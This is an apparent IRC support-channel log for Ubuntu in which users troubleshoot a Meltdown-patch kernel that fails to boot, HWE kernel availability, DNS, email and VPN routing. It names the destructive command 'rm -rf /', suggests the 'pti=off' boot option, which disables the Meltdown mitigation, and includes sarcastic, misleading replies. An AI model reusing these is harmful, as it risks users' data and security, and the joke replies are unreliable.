[07:50] <zomaar> alkisg: But you're not, because the user is going to be confused by now it works and before it didn't.
[07:51] <alkisg> Of course it will make a mess. Either recursing on /home/username, or in everything if the user was root at that time.
[07:51] <Techlobyte2> thanks
[07:51] <wamicho>  hello i need help with my virtual box recognizing wireless USB adoptor installed on ubuntu with guest additions installed as well . On the USB filter i can't find the USB device. Running ubuntu 16.04
[07:51] <alkisg> But anyway we agreed to disagree, let's move on
[07:51] <zomaar> alkisg: You're even wrong about that, rm -rf / is protected on Ubuntu.
[07:53] <alkisg> zomaar: and how do you know the user was on bash instead of busybox, which allows rm -rf?
[07:53] <alkisg> But anyway, that part is unrelated, our difference isn't a specific question but a policy one
[07:53] <BerndSch> I have a question regarding https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown.
[07:54] <BerndSch> At the moment I'm running 4.10.0-42-generic. Do I have to install the package linux-image-generic-hwe-16.04-edge to receive the SpectreAndMeltdown fixes?
[07:54] <zomaar> alkisg: And when the user finds out that \x61 will also work on echo, he will feel betrayed
[07:54] <alkisg> zomaar: and when he finds out that echo doesn't work in his #!/bin/sh script, he'll waste hours debugging
[07:54] <zomaar> alkisg: Then you tell him that, this person was just trying stuff
[07:55] <zomaar> alkisg: You can say "this is the solution, but be advised that echo -e won't always work"
[07:55] <zomaar> problem solved
[07:55] <alkisg> zomaar: you won't be able to convince me to change my policy, I've been doing it for 20 years now. Thanks for trying; you can keep yours and I'll keep mine.
[07:55]  * alkisg supports 1000+ schools with excellent results so far
[07:55] <wamicho> hello i need help with my virtual box recognizing wireless USB adoptor installed on ubuntu with guest additions installed as well . On the USB filter i can't find the USB device.  I am running ubuntu 16.04
[07:56] <zomaar> alkisg: I am sorry, but such efforts often cause me to waste hours of time on wrong answers.
[07:56] <alkisg> zomaar: now we're offtopic, I'm no longer interested in continuing this topic with you. Thanks.
[08:22] <BerndSch> wc
[08:27] <nagyg> Can someone enlighten me what to use in 17.10 for resolving dns? I previously used dnsmasq but in 17.10 there is systemd-resolved which seem to be an independent stuff for me. Can I disable systemd-resolved without any problems and use dnsmasq? Or what is the preferred way of this?
[08:29] <alkisg> nagyg: I'm using dnsmasq on 18.04 without issues
[08:30] <alkisg> # cat /etc/resolv.conf ==> nameserver 127.0.0.1
[09:03] <XLV> https://askubuntu.com/questions/994067/kernel-panic-after-1-10-2018-update-to-16-04 anyone getting same behavior?
[09:05] <zomaar> You're basically testing an alpha version you could say
[09:11] <zomaar> I can only suggest rolling back to the previous kernel and waiting until the bugs have been ironed out, but that's not what you're asking.
[09:11] <XLV> zomaar, alpha version? in the stable depository? in the long term support version? of the server product?
[09:12] <XLV> zomaar, yes, i know as much
[09:12] <zomaar> XLV: These patches have been developed and released on a very short notice
[09:13] <XLV> zomaar, still alpha version? in the stable depository? in the long term support version? of the server product?
[09:13] <yossarianuk> hi - i'm running Ubuntu 16.04 - using the HWE kernel - presently 4.10.x - I heard the meltdown/spectre fixes are not going to that branch and I should use the 4.13.x branch, just checked apt and no kernel updates are out
[09:13] <zomaar> Oh that's what you mean.
[09:14] <yossarianuk> how do I get the 4.13.x kernel with meltdown fixes ?
[09:14] <XLV> https://askubuntu.com/questions/994067/kernel-panic-after-1-10-2018-update-to-16-04 anyone getting same behavior? <-- yossarianuk
[09:14] <XLV> you should hold on a bit more, it seems
[09:14] <zomaar> XLV: I think that's the result of the panic surrounding the security holes; which I think is ill-advised
[09:15] <yossarianuk> from reading this https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SpectreAndMeltdown
[09:16] <yossarianuk> it states 'The Rolling HWE kernel for Ubuntu 16.04 will go to 4.13 early, instead of also fixing 4.10 HWE kernel. '
[09:16] <zomaar> XLV: Even though the mainline kernel team extensively tested the patches, these are backported versions we are using which introduces more risks of course...
[09:17] <zomaar> Right
[09:17] <zomaar> I don't know if HWE is already at 4.13 then?
[09:19] <zomaar> 4.13 used to be linux-generic-hwe-16.04-edge
[09:19] <zomaar> That means they are moving it to linux-generic-hwe-16.04
[09:20] <yossarianuk> so do I menaully have to install a package or with 'sudo apt full-upgrade' get it soon ?
[09:23] <zomaar> Yes it hasn't been updated yet
[09:24] <zomaar> You need kernel 4.13.0.25
[09:27] <zomaar> !kpti
[09:28] <oerheks> see the !hwe factoid
[09:28] <zomaar> !hwe
[09:28] <MarkB2> I can't figure it out.  I have two computers plugged into a router.  One computer is named "P630" and the router "sees" it.  The other is named u1710 and the router "sees" it but names it "OFFLINE".  Both systems run Ubuntu 17.10 and I can't figure out why the router is naming the newer one "OFFLINE" .
[09:29] <zomaar> yossarianuk: Oerheks suggests running "sudo apt-get install --install-recommends linux-generic-hwe-16.04 xserver-xorg-hwe-16.04"
[09:31] <zomaar> MarkB2: What router is that and how does it mark things offline?
[09:31] <yossarianuk> zomaar: thanks but I get this
[09:31] <yossarianuk> linux-generic-hwe-16.04 is already the newest version (4.10.0.42.44).
[09:31] <yossarianuk> which is unpatched..
[09:32] <MarkB2> It's an Intellinet gigabit router... and I have no idea why its marking the system offline.  I'm using the 'offline' system right now.. it's DHCP-serving addresses.  Is there anything in Ubuntu that, when doing the DHCP "thing" that would cause the router to call it that?
[09:33] <oerheks> yossarianuk, run dist-upgrade, sudo apt update && sudo apt dist-upgrade /?
[09:33] <oerheks> you should see packages held back by normal update..
[09:33] <yossarianuk> no packages held
[09:33] <yossarianuk> and no updates available.
[09:34] <guest-moejrm> hi
[09:34] <nagyg> alkisg, sorry I missed your answer on dnsmasq
[09:34] <guest-moejrm> letzs talk about our saviur jesus christ
[09:35] <nagyg> so you disabled systemd-resolved on 18.04?
[09:35] <oerheks> !ot > guest-moejrm
[09:41] <qwip> Hi everyone! I have recently installed kde plasma on ubuntu and fonts of gtk apps are looking really bad (specially firefox). I have tried to fix them for more than 6 hours but failed to. I would be thankful if someone can help me with this. https://imgur.com/a/dFe4A
[09:44] <zomaar> qwip: Have you tried setting anti-aliasing in KDE?
[09:44] <Ben64> wheres the bad looking fonts
[09:44] <qwip> yeah, zomaar
[09:44] <qwip> firefox is most affected, Ben64
[09:44] <Ben64> where though
[09:45] <Ben64> everything looks good
[09:45] <zomaar> qwip: Normally this would be an anti-aliasing issue
[09:45] <zomaar> qwip: Have you set "hinting" to "slight"?
[09:45] <qwip> zomaar, yeah. tried that
[09:46] <legola> Hi all. In the Meltdown/Spectra KB, I read that "Ubuntu kernel updates are made available in USN 3522-1 (Ubuntu 16.04 LTS),", but I don't see this kernel (linux-image-4.4.0-1047-aws in my case) in the Xenial repos. What am I missing here?
[09:46] <qwip> zomaar, https://imgur.com/a/Oe8VX
[09:46] <Ben64> legola: try a different repo then i guess
[09:47] <zomaar> qwip: Is "gtk2-engines-oxygen" installed?
[09:47] <qwip> zomaar, I don't know. I have'nt installed it manully
[09:47] <zomaar> qwip: Can you check?
[09:48] <Ben64> qwip: ok but seriously, all your fonts look fine
[09:48] <qwip> zomaar, from where?
[09:48] <zomaar> qwip: dpkg -l gtk2-engines-oxygen
[09:48] <qwip> zomaar, https://imgur.com/a/TPLMD
[09:48] <legola> Ben64, thanks, but it's not there https://packages.ubuntu.com/xenial/kernel/ shouldn't it be there before I can blame my repos?
[09:48] <zomaar> qwip: I am on limited data, I cannot open images all the time
[09:49] <Ben64> legola: it is in the main repo
[09:49] <qwip> zomaar, ah ok
[09:49] <qwip> dpkg -l gtk2-engines-oxygen
[09:49] <qwip> Desired=Unknown/Install/Remove/Purge/Hold
[09:49] <qwip> | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
[09:49] <qwip> |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
[09:49] <qwip> ||/ Name           Version      Architecture Description
[09:49] <qwip> +++-[09:49] <zomaar> qwip: Try to run "sudo apt install gtk2-engines-oxygen"
[09:50] <zomaar> qwip: Oh you were silenced from too many lines
[09:50] <qwip> zomaar, its already installed
[09:50] <zomaar> Okay
[09:51] <qwip> GTK2 and GTK3 theme are set to Breeze
[09:52] <zomaar> qwip: Then it is strange because the Kubuntu image doesn't have such problems.
[09:52] <qwip> yeah, zomaar. It is only happening with gtk apps. also with spotify
[09:53] <Ben64> qwip: what's happening?!
[09:53] <qwip> Ben64, ?
[09:53] <Ben64> you keep saying things are bad but every picture shows perfectly fine fonts
[09:53] <qwip> lol
[09:54] <yossarianuk> https://packages.ubuntu.com/xenial/kernel/ -> shows latest linux-image-generic-hwe-16.04  package is 4.10.0.42.44
[09:54] <qwip> zomaar, any other possible solution?
[09:54] <zomaar> qwip: I don't know enough to give any clear answers
[09:54] <yossarianuk> which means no update yet for anyone running the HWE kernel (that's everyone who installed ubuntu after 16.04.2 i  think
[09:54] <Ben64> yossarianuk: the hwe-edge has the update
[09:55] <yossarianuk> so I should manually install that ?
[09:55] <Ben64> if you want, sure
[09:55] <Ben64> it will probably roll over to normal hwe very soon though
[09:55] <yossarianuk> or will at some point the latest linux-image-generic-hwe-16.04 package upgrade to -> 4.13.x ?
[09:55] <yossarianuk> ok thanks
[09:56] <yossarianuk> i will leave it alone for now
[09:56] <yossarianuk> its odd as debian/ubuntu are normally faster at getting updates out that redhat but they released on the 4th dec..
[09:56] <Ben64> theres been problems with it
[09:57] <zomaar> qwip: I wouldn't know what plasma-desktop would install differently than Kubuntu
[09:58] <hensema> yossarianuk: ubuntu has *way* too many kernels IMHO. Redhat has just one per version, so in effect 2 kernels (for RHEL 6 and RHEL 7).
[09:58] <qwip> zomaar, I installed kubuntu package after installing ubuntu
[09:58] <hensema> plus redhat has way more kernel devs on payroll
[09:59] <yossarianuk> hensema: I don't think choice is usually a bad thing..
[09:59] <hensema> yossarianuk: it does create a *lot* of work, creating delays in updates
[09:59] <yossarianuk> and in the past ubuntu have released kernel fixes sometimes a week before rhel..
[09:59] <Ben64> rhel servers also couldn't boot after updating...
[09:59] <Ben64> so maybe a bit of extra time isn't so bad
[09:59] <hensema> so it has pros and cons
[09:59] <yossarianuk> Ben64: 'some' I hear, relating to MDRAID ?
[10:00] <Ben64> not sure of details
[10:00] <yossarianuk> we haven't updated our rhel servers yet, sounds like a good choice.
[10:01] <zomaar> qwip: what Ubuntu version are you on, btw?
[10:01] <yossarianuk> and point in asking in #ubuntu-dev for an ETA ?
[10:02] <yossarianuk> *any*
[10:02] <hanabishi> hello
[10:02] <qwip> zomaar, Ubuntu 16.04.3 LTS
[10:02] <zomaar> qwip: I don't know if this is helpful, https://paste.ubuntu.com/26359087/, but you could compare
[10:02] <hanabishi> i'm newbie on this UBUNTU
[10:03] <hanabishi> good day
[10:03] <zomaar> Hi hana
[10:03] <zomaar> Does Hana mean flower?
[10:03] <hanabishi> yes
[10:04] <XLV> yossarianuk, i think the default answer is : it will be ready when its ready
[10:04] <hanabishi> i want to knows about email ubuntu
[10:04] <zomaar> Email, Hana?
[10:04] <hanabishi> what most email who used in ubuntu?
[10:05] <zomaar> Probably Thunderbird, hanabishi
[10:05] <hanabishi> yes i'm don't have it , and hotmail can'y used
[10:05] <yossarianuk> KLV: ok thanks, just wanted to check if I HAD to manually install to get the update..
[10:05] <yossarianuk> (rather than just apt dist-upgrade)
[10:05] <oerheks> hanabishi, shuld be no problem, https://support.mozilla.org/en-US/kb/thunderbird-and-hotmail
[10:06] <hanabishi> thenderbird it not free rigth?
[10:06] <zomaar> Yes apologies for not knowing whether edge was already updated
[10:06] <zomaar> Thunderbird is free, hanabishi
[10:06] <XLV> free as a beer, and a gift
[10:07] <hanabishi> and then i will try again
[10:07] <hanabishi> thank you
[10:07] <zomaar> hanabishi, you can install it from the repos with "sudo apt install thunderbird"
[10:07] <oerheks> thunderbirs is installed standard
[10:08] <oerheks> * unless you run a funny ubuntu fork :-D
[10:08] <zomaar> Really, oerheks?
[10:08] <zomaar> Oh I see
[10:09] <zomaar> :p.
[10:09] <oerheks> !info thunderbird
[10:09] <Sh1G3Ru> 4.4.0.108
[10:09] <oerheks> huh optional?? never installed that
[10:10] <zomaar> Oerheks: optional may mean something else
[10:10] <zomaar> Oerheks: but I'm not sure
[10:11] <oerheks> i think that factoid is wrong
[10:12] <zomaar> Oerheks: I think in Debian optional means it is not part of the base Debian system (bare Debian system) but it can still be installed by the Ubuntu image
[10:12] <zomaar> Oerheks: required, important, normal, optional, extra, I believe
[10:13] <hanabishi> oh i found it, in thunderbird i should select what.Between IMAP or POP3???
[10:13] <Sh1G3Ru> !kernel
[10:13] <zomaar> hanabishi, depends on your email provider
[10:14] <zomaar> hanabishi, I would suggest IMAP
[10:14] <Sh1G3Ru> anyone else is having trouble with the 4.4.0.108 meltdown patch kernel?
[10:15] <XLV> Sh1G3Ru, sure
[10:15] <Sh1G3Ru> nevermind it is confermed as bug
[10:15] <Sh1G3Ru> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1742323
[10:15] <thopre01> Hi, has anyone managed to use Thunderbird from Ubuntu xenial to manage a gmail account?
[10:16] <thopre01> I cannot even add the account, it fails when testing the settings, saying authentication failsed (i've tried with and without google app password)
[10:18] <thopre01> mmh, looks like https://support.google.com/accounts/answer/6010255
[10:19] <zomaar> Oerheks, it is installed by default by ubunt-mate-desktop and cinnamon-desktop-environment
[10:19] <zomaar> Oerheks, at least on 16.04
[10:19] <Sh1G3Ru> thopre01, use your whole e-mail address as account and you are good to go
[10:19] <Beef_wgtn> I'm having an issue setting up a .ai domain.... I've set up the name servers, but the propagation seems to be taking forever. More than 12 hours at this point. I know up to 24, but I've never waited anything more than 30 mins in the past...
[10:20] <Sh1G3Ru> and let thunderbird do the rest. you might also want to check if your imap or pop3 is enabled in your account. for some reasons gmail disables it by default
[10:21] <MJCD> hey im having trouble with apt-get install ubuntu-desktop
[10:21] <thopre01> Sh1G3Ru: I am already
[10:21] <MJCD> it keeps freezing on libmozjs
[10:21] <MJCD> twice now
[10:40]  * mans82 
[10:41] <Hko> Today I update xenial kernel to 4.4.0-108.131 op a Dell optiplex 3010 dekstop PC. The new kernel crashes hard immediately! Anyone here who has experience the same issue?
[10:46] <amy_> mac os
[10:47] <oerheks> Hko, did you install nvidia drivers?
[10:49] <hanabishi> Thank you, zomaar
[10:50] <OnkelTem> Hi folks
[10:50] <Hko> oerheks: nvidia card present, but using nouveau drivers.
[10:51] <oerheks> Hko, then i have no clue
[10:52] <oerheks> you can return to the previous kernel, hols shift @ boot to enter grub
[10:52] <OnkelTem> I want to configure a rebroadcasting transmitter, so that a stream from OBS would go to YouTube AND another services
[10:52] <OnkelTem> I once configuring something similar, but I forgot the name of the software I used
[10:52] <XLV> Hko, yes, its reported as bug
 https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1742323
[10:53] <OnkelTem> If I understand it correctly, I need a tool for rebroadcasting RSSP
[10:53] <OnkelTem> RTSP*
[10:53] <XLV> Hko, nvidia drivers dont have something to do with it
[10:54] <XLV> Hko, turn off automatic updates or hold off the update of that kernel version
[10:54] <Hko> oerheks: Yes, i did that already. But want to install on 20+ machines to mitigate meltdown vulnerability
[10:55] <XLV> Hko, if you have already installed it, remove it, go back to previous version and wait for the updated one
[10:56] <Hko> XLV: Many thanks for the link to the bug report!
[10:56] <nouh>  hi everybody
[10:57] <XLV> Hko, https://askubuntu.com/questions/945403/how-to-downgrade-kernel-after-bad-update-16-04
[11:01] <XLV> Hko, https://askubuntu.com/questions/18654/how-to-prevent-updating-of-a-specific-package and from that last post, how to hold off updates of a specific package
[11:01] <nouh>  hi everybody
[11:04] <nouh>  hi everybody
[11:05] <nouh> what's the best tutorial for learning payton
[11:05] <nouh> what's the best tutorial for learning payton
[11:05] <nouh> what's the best tutorial for learning payton
[11:06] <nouh> what's the best tutorial for learning payton
[11:07] <XLV> you cant learn payton
[11:07] <XLV> shes seeing other guys
[11:08] <Sh1G3Ru> confirmed, python is engaged.
[11:11] <nouh>  hi everybody
[11:13] <oerheks> nouh, join #python, maybe they have learning pages?
[11:14] <sahdyuehaf> hey
[11:21] <linuxr> Hi all, I just upgraded to 4.4.0-108, with the result of my system not booting anymore (kernel crash at boot). Now what?
[11:21] <XLV> its reported as bug
[11:21] <XLV> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1742323
[11:21] <XLV>  turn off automatic updates or hold off the update of that kernel version
[11:22] <XLV> if you have already installed it, remove it, go back to previous version and wait for the updated one
[11:22] <XLV> https://askubuntu.com/questions/945403/how-to-downgrade-kernel-after-bad-update-16-04
[11:22] <XLV> https://askubuntu.com/questions/18654/how-to-prevent-updating-of-a-specific-package and from that last post, how to hold off updates of a specific package
[11:23] <joshd> Do I see correctly that linux-generic-hwe-16.04 (updated this morning) does not contain the kpti patches? Are they coming, or do I need to change?
[11:23] <linuxr> XLV, why are they releasing a kernel which is obviously bad?
[11:24] <XLV> linuxr, to keep people on their toes
[11:24] <joshd> :D
[11:24] <linuxr> no seriously, I mean it appears to crash for many people
[11:24] <XLV> dead serious
[11:25] <linuxr> how do they test a kernel before releasing it?
[11:25] <oerheks> !ktpi
[11:25] <oerheks> !kpti
[11:25] <linuxr> that's the first time ever I experienced a kernel update killing a system :(
[11:26] <joshd> ah hah
[11:26] <XLV> linuxr, its obvious you havent been using linux for long
[11:26] <joshd> thanks oerheks
[11:26] <XLV> when you get complacent... and do automatically all updates offered
[11:26] <XLV> thats when it comes back and bites you in the rear
[11:26] <linuxr> XLV, quite a few years..but this KPTI stuff seems to have messed up things badly
[11:32] <linuxr> I wonder if this affects *all* users who upgrade to 4.4.0-108
[11:32] <wgrant> linuxr: It doesn't affect all systems.
[11:32] <wgrant> 4.4.0-109 was released an hour ago, and fixes the regression.
[11:34] <nullifidian> is 4.4.0-108 the patched kernel?
[11:35] <Sh1G3Ru> 4.4.0-109 released with the fix . update
[11:35] <Sh1G3Ru> !update
[11:36] <Sh1G3Ru> !spectre
[11:36] <Sh1G3Ru> !meltdown
[11:36] <nullifidian> BRRRR I just installed 108
[11:37] <nullifidian> >:(
[11:37] <Sh1G3Ru> !pdos
[11:38] <nullifidian> changelog 108->109 "- SAUCE: kaiser: fix perf crashes - fix to original commit"
[11:38] <anddam> hello
[11:38] <nullifidian> Intel has released a new microcode https://news.ycombinator.com/item?id=16111433
[11:38] <linuxr> Sh1G3Ru, was this bug/regression in the linux kernel or introduced by the ubuntu folks?
[11:38] <anddam> semi-OT, I'm trying to install OpenPACE, a library not in xenial repo, using checkinstall
[11:39] <nullifidian> intel-microcode package's last update is nov 2017
[11:39] <anddam> I'm getting a    /bin/mkdir: cannot create directory ‘/usr/local/etc/eac’: Permission denied     but I checked the Makefile and the target uses DESTDIR, that I assumed checkinstall was using
[11:39] <Sh1G3Ru> linuxr, it was an attempt to counter the meltdown and spectre bugs , it seems it was done in a hurry and had few problems along the way. it happends to everyone.
[11:40] <anddam> I ran just   "checkinstall -D make install", is there some other options I should be adding?
[11:41] <anddam> oh, my bad, the readme says checkinstall itself has to be run as root
[11:42] <anddam> that sounds a bit odd
[11:47] <ssskkkky> 。。。
[11:52] <linuxr> anyone knows what the test procedure is before a new ubuntu kernel is released?
[11:54] <yossarianuk> I keep hearing that the HWE kernel for 16.04 (4.13.x) has been released but it hasn't been...
[11:55] <acheronuk> yossarianuk: it has https://launchpad.net/ubuntu/+source/linux-hwe
[11:55] <acheronuk> as usual though, updates are phased
[11:55] <linuxr> can I somewhere see what was fixed from 4.4.0-108 to 4.4.0-109?
[11:56] <yossarianuk> acheronuk: thanks I can see it now, wasn't there about 1 hr ago..
[11:57] <hateball> linuxr: apt changelog linux-image-4.4.0-109
[11:58] <linuxr> wow that's cool, thanks hateball !
[11:59] <hateball> linuxr: :)
[11:59] <linuxr> hateball, can I see what was changed in source?
[12:00] <acheronuk> linuxr: http://launchpadlibrarian.net/353019024/linux_4.4.0-108.131_4.4.0-109.132.diff.gz
[12:01] <linuxr> acheronuk, thanks! Nice tool
[12:02] <acheronuk> linuxr: there is usual a link on any version to diff from the precious i.e: https://launchpad.net/ubuntu/+source/linux/4.4.0-109.132
[12:03] <acheronuk> i.e: diff from 4.4.0-108.131 to 4.4.0-109.132
[12:04] <linuxr> acheronuk, where's the link to the diff on that page you mentioned?
[12:05] <acheronuk> linuxr: https://i.imgur.com/0ttk6fx.png
[12:05] <linuxr> ahh I see, thanks a lot acheronuk! Great to know
[12:07] <zomaar> anddam: You have to be root to be able to create files with different ownerships in your filesystem (tree).
[12:07] <zomaar> anddam: This is why you cannot create a package as non-root, unfortunately.
[12:08] <delta_> hi have just updated ubuntu 10.04 and done a reboot all i get is the blank mauve screen
[12:08] <delta_> sould be 16:04
[12:09] <zomaar> delta_: You are better off staying with the older kernel if you are unsure
[12:09] <delta_> hi have just updated ubuntu 16.04 and done a reboot all i get is the blank mauve scree was OK before the updaten
[12:09] <linuxr> that's the new meltdown patch delta_. It prevents the operating system from booting so you are safe.
[12:09] <Throttled> guys, i'm having a small issue. after the DC update the node, i'm having this on 'apt update' W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/xenial/InRelease: Temporary failure resolving 'archive.ubuntu.com'
[12:09] <Throttled> any hints?
[12:10] <delta_> well its so save i cannot get pased the mauve screen to use ubuntu
[12:10] <delta_> so how do i restore before update
[12:10] <linuxr> that's what I'm saying delta. It would be even more safe when you turn off the computer
[12:11] <zomaar> delta_: If you can access the GRUB boot menu you can boot the older kernel still
[12:11] <linuxr> delta_, there is already a fix for this (4.4.0-109)
[12:12] <delta_> even the advance feature at boot gives the same result
[12:13] <delta_> can i delet the new kernel entey in the grub boot loader?
[12:13] <Throttled> solved with: echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf > /dev/null
[12:13] <linuxr> delta_, choose the previous kernel in advanced menu (the second from above)
[12:13] <delta_> ok i will give it a try if that works how do i get back aurto matic boot
[12:14] <Razer007> hello!!!
[12:14] <Razer007> Good Evening People!!
[12:15] <linuxr> I'm really terrified by the myriad of problems all these meltdown/spectre patched might have introduced
[12:15] <delta_> but i think i cannot see any entries in the advance menu  not even the old version it appears to hang in this mauve screen
[12:15] <delta_> is there a way to overcome the hung screen?
[12:15] <zamba> i need a filesystem where i can set quotas and only make the user be able to see the available disk space based on that quota
[12:16] <anddam> zomaar: I see
[12:16] <zamba> is zfs the way to go?
[12:16] <anddam> thanks
[12:20] <BluesKaj> Howdy all
[12:20] <delta_> I think if this flaw in the CPUs is going to cause all rage of issues over a wide range of harware
[12:21] <delta_> and a lot of systems that will hang and preformace issues
[12:21] <linuxr> delta_, absolutely. It's a nightmare
[12:22] <delta_> so these updates will possibly take a working system nd render it unworable
[12:22] <delta_> unworkable...
[12:22] <linuxr> delta_, yes that's exactly what happened
[12:22] <lucas-arg> hello all, ive just installed kernel 4.13.0-25-generic and all seems to be working ok. Is it ok for spectre and meltdown bugs?
[12:23] <delta_> so how do distros intent to fix these issues with out reinstaling old versions?
[12:23] <hensema> delta_: by optionally disabling the protection
[12:23] <hensema> with kernel tuneables
[12:24] <linuxr> delta_, I don't know...probably just roll out stuff and fix problems as they get appear
[12:24] <delta_> so hw in the case you do a update which takes the system from a workable to non workable with a hung screen will that help?
[12:25] <delta_> and under advance boot it hung on ram disk
[12:26] <delta_> again all the developers are rushing to fix the flaws without doing QA it appears
[12:26] <zomaar> zamba: LXD recommends ZFS as the only filesystem that can do that.
[12:27] <linuxr> delta_, appears so yes
[12:27] <zamba> zomaar: cool :)
[12:28] <delta_> so it would seem this is a knee jurk reaction which will cause much more problems in the long run with broken systems and people reluctant to do updates which will impact upon secuirty isses
[12:28] <linuxr> it's not only linux...microsoft also had to stop rolling out their fixes as it wrecked systems
[12:28] <zomaar> delta_: hensema recommends using a kernel boot option in the Grub screen
[12:28] <zomaar> delta_: yes that is the panic effect
[12:29]  * zomaar *blissfully unupdated*
[12:29] <TJ-> delta_: have you managed to boot to a working kernel now?
[12:29] <delta_> no
[12:30] <delta_> im using another linx sysem but my main ubuntu just hans
[12:30] <zomaar> Can you get into the GRUB menu?
[12:30] <TJ-> delta_: OK, and were you able to access the GRUB boot menu to choose an older kernel under it's "Advanced" sub-menu ?
[12:30] <TJ-> delta_: which key were you tapping at boot-time to access the GRUB menu?
[12:30] <delta_> no yhe advance boot just hangs in a mauve screen and trying to load ram disk...
[12:31] <zomaar> But you did enter the Grub menu then?
[12:31] <delta_> cannot seen any other kernels
[12:31] <TJ-> delta_: so you say the GRUB menu, chose "Advanced" and selected an entry there?
[12:31] <zomaar> Advanced boot is supposed to be a submenu
[12:31] <delta_> the boot menu lists all multi boot os
[12:31] <linuxr> okay guys thanks for the help, for now. bye
[12:32] <delta_> when try to access 16.04 after the update it hangs on a mauve screen
[12:32] <delta_> yes i can enter the GRUB boot loader
[12:33] <zomaar> delta_: In the grub prompt on your Ubuntu entry, press "e" and then move to the "vmlinuz" line, and add "pti=off" to the list of parameters, then press CTRL-X
[12:33] <TJ-> delta_: On GRUB's main menu you'll have the default (latest) "Ubuntu" first, then "Advanced >" sub-menu, so you select that. At that point should be a list, in pairs, of regular boot, recovery boot, for each installed version. The top 2 entries will be for the newest kernel. You'll need to choose entry #2 or lower to boot an older kernel version.
[12:34] <delta_> i cant enter the grub prompt for that entry on ubuntu as far as i am aware
[12:34] <zomaar> delta_: Have you tried pressing "e" before pressing enter?
[12:35] <delta_> ok i think there may be other enries in the advance menu i will have to reboot the macine to confirm
[12:35] <zomaar> delta_: Okay do that first
[12:35] <delta_> can i delet the latest entry in GRUB?
[12:36] <zomaar> That requires uninstalling the kernel, but you can also set the order I'm sure
[12:36] <zomaar> And if pti=off works you can change the parameters so you can boot just fine
[12:36] <delta_> no have not because the screen hangs
[12:36] <zomaar> Then first reboot the machine
[12:37] <delta_> ok so if i boot into an older version how d i set the order to ignor the latst kernel in GRUB
[12:38] <zomaar> It is better to try the pti=off option to see if that works, because you can hardcode that into GRUB
[12:38] <zomaar> Without having to change the installed kernel for now
[12:39] <delta_> ok i will come back to you latter need to reboot and find out what i can access under ubunu OK thanks for now
[12:39] <kbharatht> hello
[12:40] <kbharatht> need help on configuring vpn
[12:42] <kbharatht> vpn configured successfully but still shows original ip address
[12:42] <kbharatht> using lubuntu 17.10
[12:42] <kbharatht> vpn configured through ppp0
[12:44] <zomaar> kbharatht: Do you mean original address on the tun0 interface?
[12:45] <kbharatht> vpn configured successfully but still shows original ip address lubuntu 17.10.   internet connected through android thether and vpn  configured via ppp0
[12:46] <zomaar> kbharatht: I assume ppp0 is not the tunnel device?
[12:46] <zomaar> kbharatht: And what do you mean by "shows", did you go to an online IP site?
[12:47] <kbharatht> yes zomaar
[12:48] <kbharatht> after connecting my vpn it must show as singapore but displays indian ip
[12:48] <zomaar> kbharatht: You need to ensure that your VPN has default gateway configured
[12:48] <kbharatht> Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
[12:48] <kbharatht> 0.0.0.0         0.0.0.0         0.0.0.0         U     50     0        0 ppp0
[12:48] <kbharatht> 0.0.0.0         192.168.42.129  0.0.0.0         UG    100    0        0 enp0s29f7u5
[12:48] <kbharatht> 176.126.241.65  192.168.42.129  255.255.255.255 UGH   0      0        0 enp0s29f7u5
[12:48] <kbharatht> 192.168.42.0    0.0.0.0         255.255.255.0   U     100    0        0 enp0s29f7u5
[12:48] <kbharatht> 192.168.42.129  0.0.0.0         255.255.255.255 UH    100    0        0 enp0s29f7u5
[12:49] <kbharatht> have any idea ?
[12:49] <th0rne> I tried to install some dkms wlan drivers like this, no idea if they work or if I even did it right or not: http://ix.io/DYv
[12:50] <kbharatht> zomaar ?
[12:50] <th0rne> Either way, wlan doesn't work and I installed connman, it has some entries in journal: http://ix.io/DYB
[12:51] <th0rne> Just to clarify, it's a wlan usb songle.
[12:51] <zomaar> kbharatht: the VPN server must push "route-gateway"
[12:51] <kbharatht> hwo do i do that ?
[12:51] <zomaar> kbharatht: Is your VPN server configured to act as gateway?
[12:52] <kbharatht> i am a newbie  to ubuntu so how can i find out?
[12:53] <kbharatht> i have posted my " route info" did you see zomaar ?
[12:53] <zomaar> kbharatht: Yes I did see
[12:54] <zomaar> kbharatht: Did you configure via NetworkManager?
[12:54] <kbharatht> yes
[12:55] <zomaar> kbharatht: Can you check the IPv4 tab in the VPN config
[12:56] <zomaar> kbharatht: and then check the "Routes" section?
[12:56] <kbharatht> all empty
[12:57] <kbharatht> no details have been added in ipv4 section
[12:57] <zomaar> kbharatht: Checkboxes also empty right
[12:57] <kbharatht> yes
[12:57] <kbharatht> method : Automatic VPN
[12:58] <zomaar> kbharatht: You would have to check a guide online, but normally the VPN must obtain the route from the server
[12:58] <zomaar> kbharatht: If it doesn't do that, you can add it manually, but this should not be necessary
[12:59] <zomaar> kbharatht: So personally I don't know how to do it with NetworkManager but try to give the output of "/sbin/ifconfig | grep ppp0" for now
[12:59] <kbharatht> i am using seed4me vpn and configured as they stated in their website
[13:00] <zomaar> No /sbin/ifconfig | grep -A1 ppp0
[13:00] <zomaar> kbharatht: We wil try a temporary solution to see if we can get it working first okay
[13:01] <Rosslyn> question regarding the newly relesed patched kernels. I'm using 14.04.3 LTS with a 3.19 kernel, but the released kernel that addresses Spectre/Meltdown is 3.13-based... What are my options?
[13:01] <jimb_> Rosslyn - Download the mainline kernels and install those, that's what I did.
[13:02] <Rosslyn> thanks jimb_ ;)
[13:02] <zomaar> kbharatht: Please open a terminal and type /sbin/ifconfig | grep -A1 ppp0
[13:02] <jimb_> Rosslynn - I think I can get you some more exact instructions, if needed, lemme know
[13:02] <alkisg> Rosslyn: https://wiki.ubuntu.com/Kernel/LTSEnablementStack#Kernel.2FSupport.Ubuntu_Kernel_Release_Schedule
[13:02] <alkisg> Rosslyn: afaik you are on an unsupported kernel now; you should use either 3.13 or 4.4
[13:03] <alkisg> Rosslyn: both should be available in trusty repositories
[13:03] <kbharatht> typed and pressed enter , nothing happen or any background work ?
